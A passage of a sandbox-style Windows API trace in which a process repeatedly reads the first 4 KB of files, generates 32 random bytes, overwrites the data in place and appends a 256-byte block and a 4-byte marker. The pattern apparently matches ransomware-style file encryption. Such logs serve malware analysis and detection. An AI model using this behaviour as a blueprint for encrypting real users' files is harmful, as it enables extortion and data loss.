lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0090.552] GetProcessHeap () returned 0x540000 [0090.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0090.552] GetProcessHeap () returned 0x540000 [0090.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0090.552] GetProcessHeap () returned 0x540000 [0090.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0090.552] CloseHandle (hObject=0xa28) returned 1 [0090.554] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 172 [0090.554] SetFilePointerEx (in: hFile=0xa2c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.554] ReadFile (in: hFile=0xa2c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0090.554] SetFilePointerEx (in: hFile=0xa2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.554] GetProcessHeap () returned 0x540000 [0090.554] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0090.554] GetProcessHeap () returned 0x540000 [0090.554] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0090.554] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0090.554] GetProcessHeap () returned 0x540000 [0090.554] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0090.554] ReadFile (in: hFile=0xa2c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0090.630] SetFilePointerEx (in: hFile=0xa2c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.630] WriteFile (in: hFile=0xa2c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.630] GetProcessHeap () returned 0x540000 [0090.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.630] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.631] GetProcessHeap () returned 0x540000 [0090.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.631] GetProcessHeap () returned 0x540000 [0090.903] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.903] GetProcessHeap () returned 0x540000 [0090.903] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.903] GetProcessHeap () returned 0x540000 [0090.903] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.903] GetProcessHeap () returned 0x540000 [0090.903] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.903] GetProcessHeap () returned 0x540000 [0090.903] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.903] GetProcessHeap () returned 0x540000 [0090.903] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.903] GetProcessHeap () returned 0x540000 [0090.903] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.903] GetProcessHeap () returned 0x540000 [0090.903] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.904] GetProcessHeap () returned 0x540000 [0090.904] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.904] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.905] GetProcessHeap () returned 0x540000 [0090.905] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.906] GetProcessHeap () returned 0x540000 [0090.906] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0090.906] SetFilePointerEx (in: hFile=0xa2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.906] WriteFile (in: hFile=0xa2c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0090.907] WriteFile (in: hFile=0xa2c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0090.907] GetProcessHeap () returned 0x540000 [0090.907] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0090.907] GetProcessHeap () returned 0x540000 [0090.907] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0090.907] GetProcessHeap () returned 0x540000 [0090.907] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0090.907] CloseHandle (hObject=0xa2c) returned 1 [0090.908] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 173 [0090.909] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.909] ReadFile (in: hFile=0xa30, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0090.909] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.909] GetProcessHeap () returned 0x540000 [0090.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0090.909] GetProcessHeap () returned 0x540000 [0090.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0090.909] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0090.909] GetProcessHeap () returned 0x540000 [0090.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0090.909] ReadFile (in: hFile=0xa30, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0090.984] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.984] WriteFile (in: hFile=0xa30, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.984] GetProcessHeap () returned 0x540000 [0090.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.984] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.985] GetProcessHeap () returned 0x540000 [0090.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.985] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.986] GetProcessHeap () returned 0x540000 [0090.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.987] GetProcessHeap () returned 0x540000 [0090.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.987] GetProcessHeap () returned 0x540000 [0090.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree 